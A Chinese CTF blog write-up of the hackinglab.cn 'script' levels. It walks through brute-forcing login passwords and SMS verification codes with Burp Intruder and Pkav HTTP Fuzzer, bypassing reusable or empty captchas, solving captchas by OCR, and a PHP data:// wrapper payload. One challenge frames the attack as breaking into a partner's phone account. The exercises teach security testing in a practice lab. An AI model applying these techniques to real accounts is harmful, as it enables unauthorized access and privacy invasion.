CTF-网络信息安全攻防学习平台(脚本关)



<u>、没胡子的猫</u> ● 于 2020-07-02 23:43:25 发布 ● 1236 ☆ 收藏 5
 分类专栏: <u># 网络信息安全攻防学习平台 CTF</u> 文章标签: <u>xss 安全</u>
 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u> 版权协议,转载请附上原文出处链接和本声明。
 本文链接: <u>https://blog.csdn.net/weixin_41924764/article/details/107053784</u>
 版权



网络信息安全攻防学习平台 同时被 2 个专栏收录

4 篇文章 2 订阅 订阅专栏



20 篇文章 2 订阅 订阅专栏

脚本关

第一关
第二关
第三关
第四关
第五关
第六关
第七关
第八关
第九关
第十关
第十一关
第十二关
第十三关
第十四关
第十五关

题库地址: http://hackinglab.cn

第一关

```
key又又找不到了
```

```
key分值:200
```

key小明这次哭了,key又找不到了!!! key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!

Writeup:

点击(到这里找key_)抓包后,鼠标右键,选择send to Repeater



点击go发送数据包后,在返回包即可看到key值



第二关

快速口算

分值:350

小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学 生没有经过特殊的培训,那小明能否通过快速口算测验呢?看到的页面上都没有啊!!!!!

Writeup:

每两秒会刷新一次算术题,当然我们人工算是不可能完成的,思路就是写个python脚本,爬取这段算术题,然后也是利用脚本提 交,提交之后查看返回包就可以看到key值

这里利用到了requests模块去爬取题目,然后利用re模块匹配算术题

```
import requests,re
r = requests.Session()
url='http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
html=r.get(url).content
results=eval(re.findall('([0-9].*)=<',html)[0])</pre>
```

data = {'v':results}
print r.post(url,data=data).text

C:\Users\tiger>python C:\Users\tiger\Desktop\request.py	
<html> <head></head></html>	
<pre><meta content="text/html;ch</pre></td><td>arset=utf=8" http-equiv="Content-Type"/></pre>	
<body>key is 123iohHKHT%^&*(ikh </body>	
C·\Ucome\tigon>	

第三关

题目:

这个题目是空的

分值:100

Tips:这个题目真不是随便设置的。什么才是空的呢? 通关地址:没有,请直接提交答案(小写即可)

Writeup:

写过脚本的人大家都知道空就是null,null就是正确答案

第四关

怎么就是不弹出key呢? 分值:150 提交说明:提交前14个字符即可过关

Writeup:

查看源代码,可以看到

1 <html< th=""><th></th></html<>	
2 (h	ead>
	<pre><meta content="text/html;charset=utf-8" http='equiv="content-type"'/></pre>
4	(script)
	function alert(a) [
	return false;
	document.write=function() {
	return false;
	function prompt(a) [
	return false;
14	
	var a=function () (
	var b=function(p, a, c, k, e, r) {e=function(c) [return(c <a?':e(parseint(c a)))+((c="c%a)">35?String, fromCharCode(c+29):c.toString(36))}; if(!''.replace(/', String)) {while(c)r[e(c)]=k[c]] e(c);k=[function(e) [return r[e]]}];e=fu</a?':e(parseint(c>
	var d=eval(b);
	alert("key is first 14 chars"+d);
21 🏹	head>
22 b	ody>
	_点击之后怎么没反应呢? 说好的弹窗呢?
24 </th <th>body></th>	body>
25 <th>> https://biog.csdn.net/weixin_41924764</th>	> https://biog.csdn.net/weixin_41924764

创建个html文件,将代码复制下来,去除掉前面定义的一些函数

🥘 1.html - 记事本	_		×
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)			
<script></script>			

用浏览器打开html文件就能弹出key值了

alert("key is first 14 chars "+d.substr(0,14));

key is first 14 chars slakfjteslkjsd
确定
https://blog.csdn.net/weixin_41924764

第五关

题目: 逗比验证码第一期 分值:100 逗比的验证码,有没有难道不一样吗?

Writeup:

验证码失效,进入靶场后可以看到有提示:登陆密码是4位纯数字数,第一位不为0

只要我们输入正确的账号和正确的验证码后,一直点击go发包,可以看到验证码并没有更新,并且一直提示pwd error,说明只要我们只要保持当前会话,验证码就不会失效



右键选择send to intruder(发送到爆破模块)

POST /vcode1_bcfef7eacf7badc64aaf1& Host: lab1.xseclab.com	844cdb1c46/login.phpHTTP/1.1		^	HTTP/1.1 200 OK Server: nginx
User-Agent: Mozilla/5.0 (Windows NT 10.0) Firefox/77.0		Date: Tue, 30 Jun 2020 1 6:58:58 GMT Content-Type: text/html; charset=utf-8		
Accept:	Scan			Connection: close
text/html,application/xhtml+xml,applica	Send to Intruder	Ctrl+I		Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Language: zh-CN,zh;q=0.8,zh-TV Accept-Encoding: gzip, deflate Content-Type: application/x-www-form- Content-Length: 48	Send to Repeater Send to Sequencer Send to Comparer	Ctrl+R		Cache-Control: no-store, no-cache, mu Pragma: no-cache Via: 3832 Content-Length: 9
Origin: http://lab1.xseclab.com Connection: close Referer: http://lab1.xseclab.com/vcode1_bcfef7 Cookie: UM_distinctid=172fb95f7825c8-05089bc17	Send to Decoder Show response in browser Request in browser Send request(s) to Authz	•	https	pwd error :://blog.csdn.net/weixin_41924764

1.选择Clear (清除当前已选的标记)

2.鼠标左键框选密码

3.点击Add(标记需要爆破的值)

Attack type: Sniper								
POST /vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php HTTP/1.1 Host: lab1.xseclab.com	Add §							
User-Agent: Mozilla/S.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0								
Accept-Encoding: azip, deflate								
Content-Type: application/x-www-form-urlencoded								
Connection: dose								

|Keterer: http://labi.xseciab.com/vcodei_bctet/eact/baac64aatix644cabic46/index.php Cookie: UM_distinctid=172fb95f7825c8-05089bc17267a6-4c302c7d-1fa400-172fb95f783575; CNZZDATA1261728562=1826844170-1593353885-%7C1593359285; PHPSESSID=07b98c11e85d2383bdc263ac0e1f905f Upgrade-Insecure-Requests: 1 - 2

username=admin&pwd=§1111§&vcode=J8F8&submit=submit

1.选择payloads(设置我们爆破密码的规则)

2.选择Numbers(数字类型的爆破)

3.from是从多少开始,to是到多少结束

step是数字爆破的规则,如果设置2的话,他就会按照1000,1002,1004...这种爆破规则去进行爆破(相当去跳过1个数 值),至于这个设置大家可以亲自实验,可以很明显的看出效果

4.先单击一次hex,再点击Decimal(这一步是为了刷新我们设置好的规则,意义不大,如果不进行这一步的话,payload count那 里会一直为0)

Targ	et Positions	Payloads	Options	
?	Payload Set You can define each payload	s 1 e one or more set, and each	e payload se n payload ty	ets. The number of payload sets depends on the attack type defined in the Positions tab. Various payle /pe can be customized in different ways.
	Payload type:	Numbers		Request count: 9,000
?	Payload Opt	t <mark>ions [Num</mark> ype generate	bers] s numeric p	payloads within a given range and in a specified format.
	Number range			
	Type:	🖲 S	equential 🤇	Random
	From:	1000)	3
	To:	9999)	
	Step:	1		
	How many:			
	Number format Base:)	ecimal (Hex
	Min integer die	nits:		

点击又上角的Start attack(开始爆破)

Target	Positions	Payloads	Options		
۲ ۲ ۲ ۲ ۲	Payload Set You can define ach payload Payload set: Payload type:	s e one or more set, and each 1 Numbers	e payload se n payload ty	ets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for pe can be customized in different ways. Payload count: 9,000 Request count: 9,000	Start attack
? •	ayload Opt	tions [Num	bers]		weixin 41924764

This payload type generates numeric payloads within a given range and in a specified format.

爆破完成后,点击length(一般登陆成功和密码错误的返回包值是不一样的,所以一般看返回值就能看出哪一个是登陆成功 的),查看正确密码的数据包,即可看到key

Auton O									
Results	Target Positions Payl	oads Optio	ns						
Filter: Sho	owing all items								
Request	Payload	Status	Error	Timeou	t Length	V Com	iment		
239	1238	200			320				
0		200			306	Ē	鼠标点击		
1	1000	200			306				
2	1001	200			306				
3	1002	200			306				
4 r	1003	200			306				
5	1004	200			306				
,	1005	200			306				
B	1007	200			306				
Request	Response			_	-				
Raw	leaders Hex Render								
TTP/1.1 2	00 OK								
erver: ngi	nx								
Content-T	vpe: text/html; charset=utf	8							
Connectio	on: close	_							
xpires: Th	u, 19 Nov 1981 08:52:00 GN	1T				-10			
ache-Co raama: n	ontrol: no-store, no-cache, 10-cache	must-revalu	date, post	-check=0	, pre-che	ck=U			
ia: 3832									
Content-L	ength: 22								
ey is LJL	JL789sdf#@sd								
ド六 う	É								
〔目:									
고 나	心江石笠一田								
逗 化	迎 Ш 的 弗 一 州								
分值	: 150								
验证	便失效的验证码								
/riteup:									
是验证	码失效题,抓包的时	候删除验	证码的值	i, 就能	绕过				
DST /vcod	e2_a6e6bac0b47c8187b09d	eb20babc0e	85/login.pl	np HTTP/1.	1	A	HTTP/1.1 200 OK		
ost: lab1.x ser-Agent:	seclab.com Mozilla/5.0 (Windows NT 10.)): Win64: x64:	rv:77.0) Ge	ecko/2010	0101		Server: nginx Date: Tue, 30 Jun 2020) 17:33:31 GMT	
efox/77.0	1102110/0.0 (111100101111 10.	5, 111104, 204,	11.77.07.00	2010	5101		Content-Type: text/ht	ml; charset=utf-8	
ccept: xt/html.cm		tion/vml:a=0	19 image/	vebp */*	n=0.8		Connection: close	281 08-52-00 CANT	
ccept-Lan	guage: zh-CN,zh;q=0.8,zh-T	N;q=0.7,zh-H	(;q=0.5,en-	US;q=0.3,e	a=0.8 an;q=0.2		Cache-Control: no-st	ore, no-cache, must-revalidate	, post-check=0, pre-chec
ccept-Enc	oding: gzip, deflate						Pragma: no-cache		-
ontent-Ler	se. application/x-www-torm- ngth: 44	unencoded					Content-Length: 9		
rigin: http:	//lab1.xseclab.com								
onnectior əferer:	1: Close						pwd error		
ttp://lab1.	xseclab.com/vcode2_a6e6b	ac0b47c818	7b09deb20	babc0e85	5/index.ph	р			

https://blog.csdn.net/weixin 41924764

username=admin&pwd=1111&vcode=&submit=submit

UM_distinctid=172fb95f7825c8-05089bc17267a6-4c302c7d-1fa400-172fb95f783575; CNZZDATA1261728562=1826844170-1593353885-%7C1593359285; PHPSESSID=07b98c11e85d2383bdc263ac0e1f905f

Cookie:

Upgrade-Insecure-Requests: 1

第七关

题目:

逗比的验证码第三期(SESSION) 分值:150 尼玛,验证码怎么可以这样逗比。。 验证码做成这样,你家里人知道吗?

Writeup:

还是验证码失效题,这题需要连带cookie一起删除(cookie会匹配一个验证码,存在会话凭证时,一个验证码用过一次后就不能 重复使用了,所以连同cookie一起删除即可)



继续按照第五题的爆破步骤去爆破,即可获取key

第八关

微笑一下就能过关了

分值:150

尼玛,碰到这样的题我能笑得出来嘛...

Writeup:

php伪协议题

查看源代码时可以看到一个超链接,点击可以看到源码



可以看到php源码:

```
<?php
    header("Content-type: text/html; charset=utf-8");
    if (isset($_GET['view-source'])) {
        show_source(__FILE__);
       exit();
    }
   include('flag.php');
   $smile = 1;
   if (!isset ($_GET['^_^'])) $smile = 0;
   if (preg match ('/\./', $ GET['^ ^'])) $smile = 0;
   if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;
   if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;
   if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;
   if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;
   if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;
   if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;
   if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
   if ($smile) {
       if (@file_exists ($_GET['^_^'])) $smile = 0;
    }
   if ($smile) {
       $smile = @file_get_contents ($_GET['^_^']);
       if ($smile === "(•'~'•)") die($flag);
    }
?>
```

题意是 输入了. % 数字 http https ftp telnet _ 如果匹配到了, \$smile值就会为0

```
if (!isset ($_GET['^_'])) $smile = 0;
if (preg_match ('/\./', $_GET['^_'])) $smile = 0;
if (preg_match ('/%/', $_GET['^_'])) $smile = 0;
if (preg_match ('/[0-9]/', $_GET['^_'])) $smile = 0;
if (preg_match ('/http/', $_GET['^_'])) $smile = 0;
if (preg_match ('/https/', $_GET['^_'])) $smile = 0;
if (preg_match ('/https/', $_GET['^_'])) $smile = 0;
if (preg_match ('/ftp/', $_GET['^_'])) $smile = 0;
if (preg_match ('/telnet/', $_GET['^_'])) $smile = 0;
if (preg_match ('/telnet/', $_GET['^_'])) $smile = 0;
if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
```

file_exists()函数会判断文件存不存在,如果不存在,则返回false,如果存在返回true。 但这里用了if条件,如果文件存在,则\$smile=0

file_get_contents()把整个文件读入一个字符串中,但我们并不知道文件名,而且文件名内容要等于(•`~`•),不过data协议可以实现 这类方法

```
if ($smile) {
    $smile = @file_get_contents ($_GET['^_']);
    if ($smile === "(•' •' •)") die($flag);
}
```

1.匹配字符串中,笑脸得^_^与匹配字符串_有冲突,可以利用url编码绕过 2.data协议使用方法,使用第一种方法就能达到获取flag

```
data:,<文本数据>
data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
编码的gif图片数据
编码的jpeg图片数据
编码的icon图片数据
```

payload:

?^%5f^=data:,(●'◡'●)



hkjasfhsa*&IUHKUH

第九关

```
题目:
```

逗比的手机验证码 分值:150 你的手机号码是13388886666,验证码将会以弹窗的形式给出

Writeup: 验证码与手机号未绑定漏洞 先利用我们的手机号进行登陆

Vcode: 卢击获取手机验证码 submit	
	手机验证码是: 3074
	确定 https://blog.cscin.net/weixin_4192476 <mark>4</mark>

他会给提示,需要用13388886667这个手机号登陆

< → ୯ ଘ	🛛 💋 lab1.xseclab.com/v
1 📄 学习 📄 社区-博客 📄 信!	息收集 📄 解密-加密 📋 ctf_靶场
please login as 1338888	36667
U	

我们返回刚才登陆页面,用我们的手机号重新获取一下验证码,

你的手机号码是:13388886666,请使用手机短信验证码登陆。 Phone:13388886666 Vcode: <u>点击获取手机验证码</u>	
	手机验证码是: 3556
htt	确定 ps://blog.csdn.net/weixin_41924764

然后修改手机号码为13388886667

你的手机号码是: 13388886666,请使用手机短信验证码登陆。

Phone	13388886667		
Vcode:	3556		
点击获取	双手机验证码	s	ubmit



key is UULGod!@@sd

一般来说短信验证码仅能使用一次,验证码和手机号未绑定,验证码一段时期内有效。 关于验证码其他漏洞的讲解可以观看以下文章: https://blog.csdn.net/Sunnyyou2011/article/details/79803481

第十关

题目:

基情燃烧的岁月

分值:150

Tips:你是一名黑客,你怀疑你的"(男/女)闺蜜"的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟! 闺蜜手机 号码:13388886666

Writeup:

验证码爆破漏洞,服务端未对验证时间、次数进行限制。 进入题目,点击获取验证码后,提示验证码是3位数,不以0开头

请使用手机短信验证码登陆 Tips:你是一名黑客,你怀疑你的" (男/女) 闺蜜"的 闺蜜手机号码:13388886666 Phone: 13388886666 Vcode:	的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟!
	手机验证码是:验证码发到手机上了,你看不到是3位纯数字,开头不为0
	确定 https://blog.csdn.net/weizin_41924764

输入验证码后,拦截数据包,发送到intruder进行爆破

頂切用手机成后短位的豆油 Tips:你是一名黑客,你怀疑你的" 闺蜜手机号码:13388886666 Phone: 13388886666 Vcode: 111 Image: Contract of the state
点击获取手机增速指数 submit POST /vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php HTTP/1.1 Host: lab1.xseclab.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0 Accept: text/html.application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q Accept-Encoding: gzin, deflate
Content-Type: application/x-www-form-urlencoded Send to Intruder Ctrl+I
Content-Length: 43 Send to Repeater Ctrl+R
Connection: close Send to Sequencer

Referer: http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67db	Send to Comparer	
Cookie: UM_distinctid=172fb95f7825c8-05089bc17267a6-4c302c7d-1fa400-172f	Send to Decoder	1593353885-
PHPSESSID=2d40c8a352bc89443a96a9177de850d9 Upgrade-Insecure-Requests: 1	Request in browser	
	Send request(s) to Authz	
username=13388886666&vcode=111&Login=submit	Engagement tools	
	Change request method	1001701
	Change body encoding	1924704

标记验证码位

Attack type: Sniper	▼	
Attack type: Sinper POST /vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php HTTP/1.1 Host: lab1.xseclab.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded Content-tinguit: 43 Origin: http://lab1.xseclab.com Connection: close Referer: http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/		Add § Clear § Auto § Refresh
Cookie: UM_distinctid=172fb95f7825c8-05089bc17267a6-4c302c7d-1fa400-172fb95f783575; CNZZDATA1261728562=1826844170-1593353885-%7C1593359285; PHPSESSID=2d40c8a352bc89443a96a9177de850d9 Upgrade-Insecure-Requests: 1		
	https://blog.csdn.net/wa	

设置好数字之间的长度,就可以开始进行爆破了

?	Payload Sets						
	You can define one or more payload sets. The number of payload sets depends on the attack to each payload set, and each payload type can be customized in different ways.						
	Payload set: 1	Payload count: 900					
	Payload type: Nu	Imbers Request count: 900					
?	Payload Option	s [Numbers]					
	This payload type generates numeric payloads within a given range and in a specified format.						
	Number range						
	Туре:	Sequential					
	From:	100					
	To:	999					
	Step:	1					
	How many:						

找到正确的验证码提交时,他给了下一个提示,需要我们再登陆13399999999手机号

Request	Payload	Status	Error	Timeout	Length v	Comment
67	166	200			502	
0		200			321	
1	100	200			321	
2	101	200			321	
3	102	200			321	
			_	_		

5 104 200 🗌 🗍 321
5 105 200 <u>321</u>
106 200 🗌 321
8 107 200 321

Request Response

Raw Headers Hex Render

HTTP/1.1 200 OK Server: nginx Date: Wed, 01 Jul 2020 01:20:26 GMT Content-Type: text/html; charset=utf-8 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Via: 3832 Content-Length: 203

你伤心的发现他/她正在跟你的前男/女友勾搭……于是下决心看看前任除了跟你的(男/女)闺蜜勾搭,是不是还跟别的勾搭..
前任的手机号码是<mark>:13399999999</mark>

https://blog.csdn.net/weixin_41924764

利用刚才相同的手法,13399999999手机号获取验证码,爆破验证码成功后即可看到key

第十一关

题目:

验证码识别 分值:350 验证码识别 Tips:验证码依然是3位数

Writeup: 利用验证码识别工具然后进行爆破

利用工具: Pkav HTTP Fuzzer

进入靶场, 先获取验证码

没有漏洞的验证码?	
Lips:验证码识别	
千机县, 12289896666	
手机验证码:	
<u>茨取手机验证码</u>	
脸证码: 	
12 ₅₅ submit	
	验证码已经发送到您的手机!
	确定
	http://www.com/com/com/com/com/com/com/com/com/com/
	nups://bioglosaninet/weixin_41924764

没有漏洞的验证码? Tips:验证码识别	Burp Suite Professional v2.1 - Temporary Project - licensed to surferxyz					
手机号: 13388886666 手机验证码: 111 获取手机验证码	Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Authz					
验证码: 1111 7477 submit	Intercept HTTP history WebSockets history Options					
	New Patalitis nexues POST /vcode7_f7947d56f22133dbc85dda4f28530268/login.php HTTP/1.1 Host: lab1.xseclab.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Accept: text/html.application/xtml+xml.application/xml;q=0.9,image/webp,*/*;q=0.8 Accept: coding: gzip. deflate Content-Lype: application/x-www-form-urlencoded Content-Lype: application/x-www-form-urlencoded Content-Lype: application.com Content-Lingth: 62 Origin: http://lab1.xseclab.com Content-Lingth: 62 PHSESSID=b01 ca8adbfded70888977ef66ecc9ef0 Upgrade-Insecure Requests: 1 username=13388886666&mobi_code=111&user_code=1111&Login=submit					
	https://blog.csdn.net/weixin_41924764					

复制数据包到Pkav HTTP Fuzzer,标记需要爆破的值

🙄 Pkav HTTP Fuzzer 1.5.6 Verkey@Pkav安全团队 本程序仅供安全测试使用! 致谢PKAV全体成员! ©http://www.pkav.net

目标数据 分析地址		
<u>ллин</u> .		记录(R)
└────────────────────────────────────		
POST /vcode7_f7947d56f22133dbc85d Host: labl.xseclab.com User-Agent: Mozilla/5.0 (Windows Accept: text/html, application/xht Accept-Language: zh-CN, zh;q=0.8, z Accept-Encoding: gzip, deflate Content-Type: application/x-www-f Content-Length: 62 Origin: http://labl.xseclab.com Connection: close Referer: http://labl.xseclab.com/ Cookie: UM_distinctid=172fb95f782 28662=1826844170-1593353885-%7C15 Upgrade-Insecure-Requests: 1 username=13388886666&mobi_code= §	da4f28530268/login.php HTTP/1.1 NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox ml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 h-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2 orm-urlencoded vcode7_f7947d56f22133dbc85dda4f28530268/index.php 5c8-05089bc17267a6-4c302c7d-1fa400-172fb95f783575; C 93359285; PHPSESSID=b01ca8adbfd6d70888977ef66ecc9efC 111 % cuser_code= % YZM % & Login=submit	:/77.0 NZZDATA12617

	1		1.0		
1	添加标记(A)	清除标记(<u>X</u>)	添加验证码标记(Z)	自动标记(S)	清空包文(Q)
	A Sector Sector 1. Here's 1. S	477 11 99 -			

在Pkav HTTP Fuzzer 右边设置爆破手机验证码的字典规则

		<u> </u>
记录(图)	重放设置 重放模式: 正序异步重放模式 变体赋值: 1	~
f28530268/login.php HTTP/1.1 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0 xml.application/xml;q=0.9,image/webp,*/*;q=0.8 W;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 -urlencoded	段· 从: 100 到: 999 增长: 1	
de7_f7947d56f22133dbc85dda4f28530268/index.php -05089bc17267a6-4c302c7d-1fa400-172fb95f783575; CNZZDATA12617 59285; PHPSESSID=b01ca8adbfd6d70888977ef66ecc9ef0 § &user_code= § YZM § &Login=submit	数里: 1 ● 顺序模式 ● 十进制 ● 不补零 ○ 随机模式 ○ 十六进制 ○ 补零 	扁辑
	请选择一个规则类型	*** 忝加
	https://blog.csdn.net/weixin_4	1924764

复制图片验证码

		-	
1	新建标签页打开链接(工)	- 1	
	新建窗口打开链接(<u>W)</u>		
	新建隐私窗口打开链接(P)		
	为此链接添加书签(L)		
	从链接另存文件为(K)		
	复制链接地址(<u>A</u>)		
	查看图像(1)		
	复制图像(Y)		_
	复制图像地址(O)		
	另存图像为(V)		
	用邮件发送图片(G)		
	设为桌面背景(S)		
	查看图像信息(F)		
	发送链接到设备(D)	>	
	检查元素(<u>Q</u>)		
0	Proxy SwitchyOmega	>	
	0	新建标签页打开链接(I) 新建标签页打开链接(W) 新建廠私窗口打开链接(P) 为此链接添加书签(L) 人链接另存文件为(K) 复制链接地址(A) 查看图像(I) 复制图像地址(O) 复制图像地址(O) 复制图像地址(O) 方存图像为(V) 用邮件发送图片(G) 设为桌面背景(S) 查看图像信息(F) 发送链接到设备(D) 检查元素(Q) Proxy SwitchyOmega	新建标签页打开链接(I) 新建额口打开链接(W) 新建隐私窗口打开链接(P) 为此链接添加书签(L) 从链接另存文件为(K) 复制链接地址(A) 查看图像(I) 复制图像地址(O) 复制图像地址(O) 复制图像地址(C) 互有图像为(V) 用邮件发送图片(G) 设为桌面背景(S) 查看图像信息(F) 发送链接到设备(D) > 检查元素(Q)

选择图片验证码识别 1.选择图片验证码识别 2.填入验证码图片地址 3.设置识别字符 4.识别图片测试

합证码地址: 	28530268 (rando pt-
ittp://labi.xseciab.com/vcode/_t/94/d56f22i33dbco5dda4f. #小心主式 신 如·	2053U260/vcode.pnp
2	
2	
● 自带识别引擎	
识别模式	
● 单个文本统—块 ○ 单一的文本行 ○ 一个单词	○ 无OSD全自动页分割
○ 垂直对齐文本的统一块 ○ 可变大小文本中的一列	◯ 无OSD或OCR的自动页面分割
○ (COSD的定位及检测) ○ OSD模式自动页面分割	○ 圈内的一个单词
识别范围	
○ 不限定	
○ 清晰的数字	
 ○ 印定为以下字符: 	
0123456789	
3 ○ 第三方识别引擎	
3 ○ 第三方识别引擎 ● 亦思验证码识别引擎 ○ 次世代验证码识 只别库:	只别引擎
 3 ○ 第三方识别引擎 ◎ 亦思验证码识别引擎 ○ 次世代验证码识 只别库: 	只别引擎 加载
3 ○ 第三方识别引擎 ● 亦思验证码识别引擎 ○ 次世代验证码说 只别库:	R别引擎 加载
3 ○ 第三方识别引擎 ④ 亦思验证码识别引擎 ○ 次世代验证码识 识别库: 识别项试:	只别引擎 加载
3 第三方识别引擎 ③ 亦思验证码识别引擎 〇 次世代验证码识 只别库: 只别则试: 验证码图片:	只别引擎 加载 获取到的验证码为:
3 ○ 第三方识别引擎 ④ 亦思验证码识别引擎 ○ 次世代验证码说 只别库: 	국别引擎 加载 获取到的验证码为:
3 第三方识别引擎 亦思验证码识别引擎 次世代验证码识 识别库: 识别测试: 验证码图片: 	只别引擎 加载 获取到的验证码为:
3 第三方识别引擎 亦思验证码识别引擎 次世代验证码说 识别库: <li< td=""><td>只别引擎 加载 获取到的验证码为:</td></li<>	只别引擎 加载 获取到的验证码为:
3 ○ 第三方识别引擎 ④ 亦思验证码识别引擎 ○ 次世代验证码识 以别库: □ 次世代验证码识 □ 次世代验证码识	
3 第三方识别引擎 ④ 亦思验证码识别引擎 〇 次世代验证码识 识别原: 识别则试: 验证码图片:	只别引擎 加载 获取到的验证码为:
3 • 第三方识别引擎 • 亦思验证码识别引擎 · 尔世代验证码说 识别库: · · · · · · · · · · · · · · · · · · ·	只别引擎 加载 获取到的验证码为:
3 • 第三方识别引擎 • 亦思验证码识别引擎 · 尔世代验证码说 识别库: · · · · · · · · · · · · · · · · · · ·	只别引擎 加载 获取到的验证码为: ③602 4
3 • 第三方识别引擎 • 亦思验证码识别引擎 · 尔世代验证码说 识别则试: 验证码图片: • 96602	只别引擎 加载 获取到的验证码为: 5002 4 识别测试
3 • 第三方识别引擎 • 亦思验证码识别引擎 · 尔思验证码识别引擎 · 尔思验证码识别引擎 · 尔世代验证码说 · 尔世代验证码说 · 尔世代验证码说 · 尔世代验证码说 · 尔世代验证码说 · · · · · · · · · · · · · · · · · · ·	只别引擎 加载 获取到的验证码为: \$602 4 识别测试
3 • 第三方识别引擎 • 亦思验证码识别引擎 · 尔思验证码识 只别库: · · · · · · · · · · · · · · · · · · ·	已 一 一 一 一 一 一 加载 一 一 和载 一 一 一 一 一 一 一 一 一 一 一 一

选择重放选项,设置发包线程,验证码长度(多线程会失败,大家可以自行测试)

-HTTP请求头部 ☑ 设置Connection∶close	_IP伪造 □ 伪造X-Forwar(
HTTP重定向设置	IP范围:
◎ 不跟踪重定向	□ 伪造Client-II
○ 选择性跟踪重定向	IP范围:
 ○ 无条件跟踪重定向 □ 自动跟踪302重定向 	会话管理
验证码识别重动模式 ● 单线程模式 2 ○ 多线程模式	
2011年1月1日1日1日1日1日1日1日1日1日1日1日1日1日1日1日1日1日1	—代理服务器设置 —
 • 固定 4 🔄 位 〇 长度不固定 	☐ 使用HTTP代理
。验证码识别结果处理	服务器:

	田白夕	
	лал на . 	
线程设置	验证地址:	http:
线程数: 1 🜲	验证数据;	<tit1< td=""></tit1<>
线程并发延迟: 2 🜩 毫秒	ON VESS DH -	
请求超时时间: 30 🗧 秒		验ü
请求超时重试: 3 🚽 次	序号 服	務器
	1 21	18. 78. 21
线程空闲超时: 30 🖶 秒	2 18	33.207.2
显示和存储	5 12	27.0.0.1
返回数据编码格式		
● 自动识别编码格式		
返回数据处理		
□ 代入的变体长度不计算		
□ 从返回的数据中匹配如下表达式:		
变体设置 图片型验证码识别 非图片型验证码识别 重放选项 发包器 工具说明		
就绪!		

开始爆破验证码

控制台							
启	动	暂停			停山	-	
请求结果							
序号	变体值1	验证码	状态码	错误	超时	长度	匹配
1	100	3779	200	否	否	28	
2	101	7911	200	否	否	28	
3	102	6579	200	否	否	28	
4	103	6216	200	否	否	28	
5	104	6834	200	否	否	28	
6	105	1259	200	否	否	28	

犹绪! {体设置	图片型验证码	识别 非	图片型验	证码i	只别!	重放选项	页 发银	口器「工具说明	log esdo		

有时不	会成功, 可	「能在运	气不好	子的时	寸候,	正好	爆破到	耶个验证码	,图片正	好训	只别出错(我就遇到过一次)
点击长	度(和burp	o suite-	·样,质	成功利	和失则	 	回长	度是不一样	的),查	f看i	返回包就可以看到flag了
у еках п	TTP FUZZEE 1.3.0	verкеуш-к	av┳±¤	RA 4945	E/PIXIX	女王肉瓜	xm:±	(周)ドトキャー主体の広い	ti ©nttp;//ww	w.рка	av.net
目标主机											请求包 返回包 页面浏览 状态信息(2)
主机: 1:	ab1.xseclab.com				端口	: 80	-	□ 使用SSL			HTTP/1.1 200 OK Content-Encoding: gzin
- 控制台											Via: 3832 Pragma: no-cache
启	运力	继续			停山	_					Cache-Control: no-store, no-cache, must-revalidate, post-chec Expires: Thu, 19 Nov 1981 08:52:00 GMT
速步往用											Connection: close Transfer-Encoding: chunked
· (南水結果)	变体值1	验证码	状态码	错误	超时	长度	元西 2			^	Content-Type: text/html Date: Thu, 02 Jul 2020 15:35:32 GMT
42	141	2400	200	否	否	23	E-AU				Server: nginx
1	100	3779	200	否	否	28					flag{133dbc85dda4aa**)}
2	101	7911	200	否	否	28					J
3	102	6579	200	音素	台东	28					
4	103	6834	200	五	五	28					
6	105	1259	200	否	否	28					
7	106	6137	200	否	否	28					
8	107	5272	200	否	否	28					
9	108	7318	200	否	否	28					
